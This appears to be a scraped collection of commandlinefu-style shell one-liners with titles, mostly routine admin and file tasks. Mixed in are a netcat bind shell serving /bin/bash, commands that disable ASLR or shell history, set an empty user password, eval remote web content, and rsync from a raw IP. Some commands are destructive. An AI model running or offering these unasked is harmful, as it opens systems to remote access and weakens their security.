# quick and easy way of validating a date format of yyyy-mm-dd and returning a b
ooleanecho 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'
# Mail text file (/tmp/scream-dump) contents from linux box with subject(scream-
dump)mail -s scream-dump [email protected] < /tmp/scream-dump
# geoip information
geoip() { wget -qO - http://freegeoip.net/xml/$1 | sed '3,12!d;s/<//g;s/>/: /g;s/\/.*//g' ; }
# Precide a bunch of files with a number in a pattern for example to indisperse
a podcast backlock with more recent podcastsi=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done
# Delete all files in a folder that don't match a certain file extension
find . -type f ! -name "*.foo" -name "*.bar" -delete
# run a command repeatedly
doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done }
# Do an OR search using grep to look for more than one search term
grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName>
# Convert one's Java source file encoding
find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexianmao _ && iconv -f gb2312 -t utf8 -o _ -c _ '
# Extract 2 copies of .tar.gz content
mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy2/
# How to add an "alternate access mapping" from the command line
stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Internet -incomingurl http://quiquoqua.paperopoli.com
# Alternative for basename using grep to extract file name
fileName() { echo "$1" | grep -o "[^/]*$"; }
# make a .bak backup copy of all files in directory
for i in * ; do cp $i $i.bak; done
# Get the revision number at which the current branch is created.
svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n | head -1
# Deletes all branches in a git repository except next and master (clean git rep
o)git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }'`
# show physical disk using
df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)"
# Batch Convert MP3 Bitrate to 128kbps
mkdir save && for f in *.mp3; do lame -b 128 "$f" ./save/"${f%.mp3}.mp3"; done
# find forms in a symfony 1.2 project
find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\('
# Kill processes hogging up CPU (Flash after resume)
top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill
# Enabling some DVD playback enhancements in Ubuntu
sudo sh /usr/share/doc/libdvdread4/install-css.sh
# BASH: Print shell variable into AWK
VAR="foo" ; awk '{ print '"$VAR"' }'
# truncate half of `input.txt`
dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2)
# Kill the terminal(window/tab) you work in [suicide]
kill -9 $$
# Clean-up release directories keeping the only the latest two
find . -maxdepth 1 -type d | grep -Pv "^.$" | sort -rn --field-separator="-" | sed -n '3,$p' | xargs rm -rf
# Undo Mercurial add before commit
hg st --added -n |xargs hg revert
# mem leak check
ps gv [pid] | head -2
# Snmpwalk a hosts's entire OID tree with SNMP V2
snmpwalk -v2c -c <community> -m ALL <HOST_IP> .
# bkup the old files
find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \;
# search for a file (with regex), choose one then open it
findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2"); do ${3:-xdg-open} $file; break; done }
# Enable tab completion for known SSH hosts
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
# View the newest xkcd comic.
lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } '
# pid list by httpd listen port
lsof | awk '/*:https?/{print $2}' | sort -u
# Print RPM dependencies
ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]'
# Share the current tree over the web
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
# Make syslog reread its configuration file
pkill -HUP syslogd
# Get your external IP address
wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html
# delete a file and links based on inode number.
ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \;
# Print the lastest stable version of Perl
wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//'
# Remove everything except that file
ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v
# Create new user with home directory and given password
useradd -m -p $(perl -e'print crypt("pass", "mb")') user
# Don't save commands in bash history (only for current session)
export HISTSIZE=0
# Friendly command-not-found message.
command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; }
# Push each of your local git branches to the remote repository
git branch | sed s/*// | xargs -n1 git push origin
# Download all files under http://codeigniter.com/user_guide/ to the current dir
ectorywget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ; rm -rf codeigniter.com
# Quickly create simple text file from command line w/o using vi/emacs
cat > {filename} {your text} [^C | ^D]
# add line number for each line
cat -n file.txt
# Deleting a remote git branch (say, by name 'featureless')
git push origin :featureless
# Return IP Address
/usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'
# Show a Package Version on Debian based distribution
apt-show-versions <packagename>
# this svn script will commit all files excluding those with extensions {.projec
t .classpath .properties .sh .number} and those with Status Modified or Added {M or A}svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number' | awk -F' ' '{ print $2}' | xargs svn ci -m "message"
# Describe differences between files
diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format='' $FILE1 $FILE2 | sed 's/|/\n/'
# execute a shell with netcat without -e
mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;
# Create nthash
echo -n "password" | iconv -t utf-16le | openssl dgst -md4
# Remove all .svn folders inside a folder
find . -name "\.svn" -exec rm -rf {} ";"
# search for a file in PATH
function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; }
# Get your IP addresses
ifconfig | grep "inet addr" | awk -F: '{print $2}' | awk '{print $1}'
# delete duplicate files
yes 1 | fdupes -rd $folder
# Describe differences between files
comm --nocheck-order -31
# Save your webcam to file
cvlc "v4l2:///dev/video0" --sout "#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FILE}"
# Unzip multi-part zip archive
zip -F archive.zip --output big_archive.zip && unzip big_archive.zip
# Emulate sleep in DOS/BAT
ping -n 1 -w 10000 224.0.0.0
# calculate the total size of files in specified directory (in Megabytes)
ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }'
# Reducing image size
convert -quality 40% original_image reduced_image
# search for a file in PATH
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done
# Display sqlite results one column per line
sqlite3 -line database.db
# Find the biggest files
find -type f -exec du -sh {} + | sort -rh | head
# Find and replace
find . -name '*.txt' -exec mv {} {}.sh \ ;
# Reducing image size
convert example.png -resize 100x100 output.png
# Find redirection and grep
find . -name "*.png" | tee images.txt | grep book
# copy root to new device
cp -dpRx /* /mnt/target/
# Check a nfs mountpoint and force a remount if it does not reply after a given
timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
# Move itens from subdirectories to current directory
ls -d */* | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs mv -t $(pwd)
# calculate in commandline with perl
perl -e 'print 1+1 ."\n";'
# Use socat to create a largefile
echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000
# Find and delete thunderbird's msf files to make your profile work quickly agai
n.find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\\ /g' | xargs rm {} \;
# delete duplicate files
fdupes -rdN $folder
# Convert a PKCS#8 private key to PEM format
openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]
# Get your external IP address with the best commandlinefu.com command
eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')
# a simple interactive tool to convert Simplified Chinese (typed by pinyin) to T
raditional Chinese &#31616;&#32321;&#20013;&#25991;&#36716;&#25442;echo "Simplied Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line | iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done
# Identify a PKCS#8 Private Key
openssl ans1parse -inform DER < [priv key]
# Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS
Xdefaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder
# perl find and replace
find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \;
# Push each of your local git branches to the remote repository
git push origin --all
# Remove annotation- (or other own-lined) tags from an XML document
awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd
# Find default gateway
ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}'
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivit
yping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk 'NR < 2' | /usr/bin/awk -F"=" '{print $2}'
# Count messages in mcabber history for each JID
for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\/ '{print $6}'; done
# extend KVM image size
dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc
# Change default terminal emulator
update-alternatives --config x-terminal-emulator
# Show Network IP and Subnet
ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } '
# calculate in commandline with python
python -c "print 1+1"
# print shared library dependencies
ldd path_to_executable
# Lookaround in grep
echo "John's" | grep -Po '\b\w+(?<!s)\b'
# print shared library dependencies
function ldd(){ objdump -p $1 | grep -i need; }
# Create multiple files in a single command
touch file{1,2,3,4,5}.sh
# determine if tcp port is open
fuser -n tcp -s <port> && echo "+open"
# Return Dropbox folder location.
sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%dropbox_path%'"
# Clearcase find branch
ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null
# batch convert OGG to WAV
for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f" ; done
# one line command to recursively add all jar files in current folder to java cl
ass pathCLASSPATH=.; export CLASSPATH=$CLASSPATH$(find "$PWD" -name '*.jar' -type f -printf ':%p\n' | sort -u | tr -d '\n'); echo $CLASSPATH
# Create web site ssl certificates
openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCity/O=EXAMPLE Inc./OU=Web Services/CN=example.com/[email protected]" -nodes -keyout web.key -out web.crt
# Copy files from one dir to another using tar.
tar cf - . | (cd /new/dir; tar xvf -)
# Print just line 4 from a textfile
head -n X | tail -n 1
# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.php
# recursively add all sub folders with executable file of current folder to PATH
environment variableexport PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -printf ':%h\n' | sort -u | tr -d '\n'); echo $PATH
# Purge application's residual config & orphans
dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge
# Prints line numbers
nl <filename>
# Find default gateway
route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF""}'
# View open file descriptors for a process.
lsof -p <process_id> | wc -l
# Make perl crash
perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'
# a simple alarm
while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 2000 > /dev/dsp; done; done;
# Fix grub2 boot failure using live cd
sudo grub-install --root-directory=/media/ubuntu /dev/sda
# Graphically compare two directory hierarchies without Subversion metadata
xxdiff -r --exclude=.svn
# Find default gateway
netstat -rn | grep UG | tr -s " " | cut -d" " -f2
# [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data
CONVERT D: /FS:NTFS
# Find default gateway
netstat -rn | awk '/UG/{print $2}'
# display portion of a file
cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"
# Restore individual table from mysqldump backup.
awk '/Table structure for table .table01./,/Table structure for table .table02./{print}' <file> > restored_table.sql
# Clear the terminal screen
clear
# Rip an ISO from a CD/DVD using the freeware dd for Windows
dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress
# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|zh-cn&v=1.0&q=`xsel`" |cut -d \" -f 6
# Extract herds & maintainers' email from a Gentoo metadata.xml file
xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email metadata.xml
# Format partition as FAT32
mkdosfs -F 32 /dev/sda1
# set the time of system
sudo date mmddhhxxyyyy
# First android webpage relay script
id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log > /sdcard/rsync.log && return 123;fumanchu
# copy selected folder found recursively under src retaining the structure
find . -type d -exec mkdir /new/path/{} \;
# Activate on-the-fly GTK accels
gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true
# Recursively remove 0kb files from a directory
find . -empty -type f -execdir rm -f {} +
# Run one of your auto test programs from GNU make
gmake runtestsingle testsingle=udtime
# print the date of the unix epoch in a human readable form using perl.
perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch
# Using gdiff only select lines that are common between two files
gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > outputfile.sorted
# burn an iso to cd or dvd
cdrecord -v path_to_iso_image.iso
# Uncompress a directory full of tarred files (*.gz)
for i in *.tar.gz *.tgz; do tar -zxvf $i; done
# Get the information about the internet usage from the commandline.
vnstat
# List only the directories
ls -F|grep /
# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD | gzip > ~/Dropbox/archive.tar.gz
# Nice directory listings
alias ll="ls -lh --color=auto"
# Check variable has been set
: ${VAR:?unset variable}
# Calculate a transcendental number (pi)
seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l
# SCP files to remote server using PEM file
scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path]
# add a little color to your prompt
PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ "
# Make sure your compiler is using ccache
watch ccache -s
# Use dig instead of nslookup
dig google.com
# Find files older than 60 days
find . -maxdepth 1 -type f -mtime +60 -ls
# Show all TODOs and a few relative lines after it.
grep -rnA 10 TODO *
# Graphic mode for root
startx -- :1
# Put the wireless card into monitor mode
airmon-ng start <interface> <channel>
# Find a specific pdf file (given part of its name) and open it
evince "$(find -name 'NameOfPdf.pdf')"
# MS-DOS only: Enable variable expansion from inside of FOR loops with !varname!
setlocal enabledelayedexpansion
# Delete all files from a locate output
locate munin | xargs rm -r
# Stop adobe and Flash from tracking everything you do.
adobenospy() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ; ln -s -f /dev/null $I ) ; done }
# Singularize all files in a directory
for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done
# Grep for a TAB
grep $'\t' file.txt
# Shorten url with is.gd using curl, perl
curl -s "http://is.gd/api.php?longurl=[long_url]"
# Find and delete thunderbird's msf files to make your profile work quickly agai
n.find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0 rm;
# Remove all .svn folders
find . -name .svn -type d -exec rm -rf {} \;
# Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " "
# Python Challenge Problem 0
sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html
# Console clock
watch -n1 echo
# kill all processes of a program
kill -9 $(pidof *program*)
# Generate MD5 hash for a string
echo -n "string" | md5sum -
# Add a line to crontab using sed
crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab -
# draw 45deg rotated text at the center of image
convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png
# Show all video files in the current directory (and sub-dirs)
find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)$' | sort -z | xargs -0 ls -1
# Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$"
# ping scan for a network and says who is alive or not
for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||echo "$i is down";done
# make a zip file containing all files with the openmeta tag "data"
mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt
# Indent all the files in a project using indent
find . -iname \*.[ch] -exec indent "{}" \;
# Function that swaps the filenames of two given files.
flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" || echo "$!"; else echo "Missing a file: $!"; fi; }
# Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep ://
# Receive, sign and send GPG key id
caff <keyid>
# Know when you will type :q in your term instead of vi(m), the alias will chewe
d you out.alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'
# Check default block size on ext2/ext3 filesystems
tune2fs -l /dev/XXXX | grep -w ^"Block size:"
# Bash function to see if the day ends in
function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; ends_in_y && echo ok
# Create variables from a list of names
VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done
# List all authors of a particular git project
git shortlog -s | cut -c8-
# (Debian/Ubuntu) Discover what package a file belongs to
pacof -e rlogin
# Gecko-rendered javascript without a GUI
svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulrunner --install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/null 1>/dev/null && wget -O- "127.0.0.1:10000/&url=http://www.facebook.com"
# Allow to shorten the prompt. Useful when the it is taking too much place.
PS1='$'
# Mac OS X (laptops ??) only : control hibernation state more easily from Termi
nal.appsudo pmset -a hibernatemode 1
# Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults)
for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.jpg http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg
# Unlock and access an ssh key keychain entry from CLI
security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh/id_dsa" 2>&1 > /dev/null
# Disable ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
# easily strace all your apache processes
ps -C apache o pid= | sed 's/^/-p /' | xargs strace
# Count the number of queries to a MySQL server
mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSLIST"
# Terminate a find after the first match is found.
/bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;'
# Easily create and share X screen shots (remote webserver version)
scrot -e 'mv $f \$HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; feh `xsel -o`'
# Every Nth line position # (AWK)
awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3
# Bulk add urls to your Instapaper account
for url in `cat urls `; do title=`curl $url 2>&1 | grep -i '<title>.*</title>'` && curl $url > /tmp/u && mail -s "$title" [email protected] < /tmp/u ; done
# prints line numbers
perl -ne 'print "$. - $_"' infile.txt
# Resample MP3's to 44.1kHz
file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= read; do filebak="\"$REPLY.original\""; file="\"$REPLY\""; mv $file $filebak; sox -t mp3 $filebak $file rate 44k; done; };
# Create a tar file compressed with xz.
tar cfJ tarfile.tar.xz pathnames
# prints line numbers
grep -n . datafile ;
# Downloads files (through wget) from a list of URLs using a stored cookie
wget --load-cookies <cookie-file> -c -i <list-of-urls>
# create an alias of the previous command
alias foo="!!"
# Get the information about the Apache loaded modules from command line
httpd2 -M
# restore <mysqldump>.tar.gz on the fly
tar xfzO <backup_name>.tar.gz | mysql -u root <database_name>
# Display only hosts up in network
nmap -sP -PR -oG - `/sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d`
# Calculate foldersize for each website on an ISPConfig environment
ls -d1a /var/www/*/web | xargs du -hs
# To find how Apache has been compiled from commandline
httpd2 -V
# Compressed Backup of the /etc
tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /etc
# Unix security checker
tiger
# Reorder file with max 100 file per folder
folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \; -quit ; do if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )); mkdir $folder; fi ; done
# Edit all source files of project with vim, each on separate tab
vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null`
# ssh hostchange know_host improver
sshostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; }
# displays a reminder message at the specified time
echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00
# Colored cal output
cal | sed -E "2,8s/(^|[^0-9])($(date +%e))( |$)/\1$(echo "\033[0;36m\2\033[0m")\3/g"
# Ignore ~/.vimrc when startup gVim
gvim -u NONE -U NONE
# Grab your bibtex file from CiteULike.
curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"
# get users process list
ps -u<user>
# Get all the HTTP HEAD responses from a list of urls in a file
for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >> log.txt ; done
# bulk rename files with sed, one-liner
for f in *; do mv "$f" "${f/foo/bar}"; done
# bulk rename files with sed, one-liner
ls | sed 'p;s/foo/bar/' | xargs -n2 mv
# Rip CD
ripit -c 0 --outputdir $1 --nosubmission
# check open ports (both ipv4 and ipv6)
lsof -Pi | grep LISTEN
# SVN Add Recursively
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# Make an iso file out of your entire hard drive
dd if=/dev/hda of=file.img
# Find out my commits today in svn
svn log | grep "$LOGNAME" | grep `date '+%Y-%m-%d'`
# Convert all tabs in a file to spaces, assuming the tab width is 2
expand -t 2 <filename>
# Create an eicar.com test virus
echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com
# Pick the first program found from a list of alternatives
find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1;}
# removing those pesky malformed lines at the end of a text file..
cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile
# Check the backdoors and security.chkrootkit is a tool to locally check for sig
ns of a rootkit.chkrootkit -x | less
# Define Google Chrome urpmi media source for Mandriva/Mageia (works for both 32
-bit and 64-bit systems)urpmi.addmedia --update google-chrome http://dl.google.com/linux/chrome/rpm/stable/$(uname -m | sed -e "s/i.86/i386/")
# Open file with sudo when there is no write-permission
if test -w $1; then vim $1; else sudo vim $1; fi
# which domain controller the user currently logged onto
echo %logonserver%
# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 775 {} \;
# HDD Performance Read Test
dd if=10gb of=/dev/zero bs=1M count=10240
# Define Google Talk plugin urpmi media source for Mandriva/Mageia (works for bo
th 32-bit and 64-bit systems)urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$(uname -m | sed -e "s/i.86/i386/")
# Show amigable path
alias path='echo $PATH | tr ":" "\n"'
# OSX script to change Terminal profiles based on machine name; use with case s
tatement parameter matchingfunction setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current settings of first window to settings set \"${PROFILE}\""|osascript; };
# use ImageMagik to convert tint (hue rotation) of an icon set directory.
mogrify -modulate 100,100,70 ../../icons/32x32/*.png
# remove the last line of all html files in a directory
for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done
# Sort a list of numbers on on line, separated by spaces.
echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//"
# Selecting a random file/folder of a folder
a=(*); echo ${a[$((RANDOM % ${#a[@]}))]}
# grep the command-line-fu archive
clgrep keyword
# Get list of all Apache Virtual Host and which is default for each IP address
httpd -S
# Find the uid and gid of your apache process
ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp, "/"); print tmp[1]; }'`|sort |uniq|grep -v EUID
# Filtering IP address from ifconfig usefule in scripts
IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`
# List debian package installed by size
wajig large
# Intall not signed packeges with yum
yum --nogpgcheck install "examplePackage"
# Get current pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent
# if you want the script run at reboot
sudo update-rc.d -f nomemioscript start 99 2 3 4 5
# get linkspeed, ip-adress, mac-address and processor type from osx
echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt;
# if you want the script run at shutdown
sudo update-rc.d -f nomescript stop 90 0 6
# See the order for DNS resolution on your Mac
scutil --dns
# get memory configuration (not consumption) for all running VMware virtual mach
inesfor file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo -n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//'); done;
# bash screensaver revised
while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
# prints line numbers
cat infile | while read str; do echo "$((++i)) - $str" ; done;
# Compress Images using convert (ImageMagick) in a bulk
find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \;
# Generic date format
date --iso
# a pseudo-random coin flip in python
echo "import random; print(random.choice(['heads', 'tails']))" | python
# Add a 1 pixel padding around an image.
convert -bordercolor Transparent -border 1x1 in.png out.png
# Sets OpenFirmware pasword on a mac
/usr/local/bin/OFPW -pass thepassword
# prints line numbers
while read str; do echo "$((++i)) - $str"; done < infile
# translate what is in the clipboard in english and write it to the terminal
tw translate.google.com.de-en `xsel`
# set open firmware password command mode to require password to make changes
/usr/local/bin/OFPW -mode 1
# regex to match an ip
perl -wlne 'print $1 if /(([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5]))/' iplist
# Spanish Numbers
<ctrl+s>|<alt+s>
# regex to match an ip
echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])$'
# Enable passwordless login
sudo usermod -p $(mkpasswd '') user_id
# Print all fields in a file/output from field N to the end of the line
awk '{print substr($0, index($0,$N))}'
# refresh texmacs font cache after installing new fonts
texmacs --delete-font-cache
# chain search and replace special characters to html entities in gvim
%s/?/\&iuml;/ge | %s/?/\&#0233;/ge | %s/?/"/ge | %s/?/"/ge | %s/?/'/ge | %s/?/'/ge | %s/?/\&ecirc;/ge | %s/?/\&#0133;/ge | %s/?/\&#232;/ge | %s/?/\&#243;/ge | %s/?/\&ouml;/ge | %s/?/\&#0233;/ge | %s/?/\&ndash;/ge | %s/?/\&mdash;/ge
# Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3.
find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh
# for loop with leading zero in bash 3
for i in {0..1}{0..9}; do echo $i; done
# Capture screen and default audio input device and generate an incompress AVI
filegst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert ! queue ! mux. istximagesrc name=videosource use-damage=false ! video/x-raw-rgb,framerate=10/1 ! videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 ! mux.
# pbzip2 tar pipe to untar
pbzip2 -dck <bz2file> | tar xvf -
# Jump to any directory above the current
jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); }
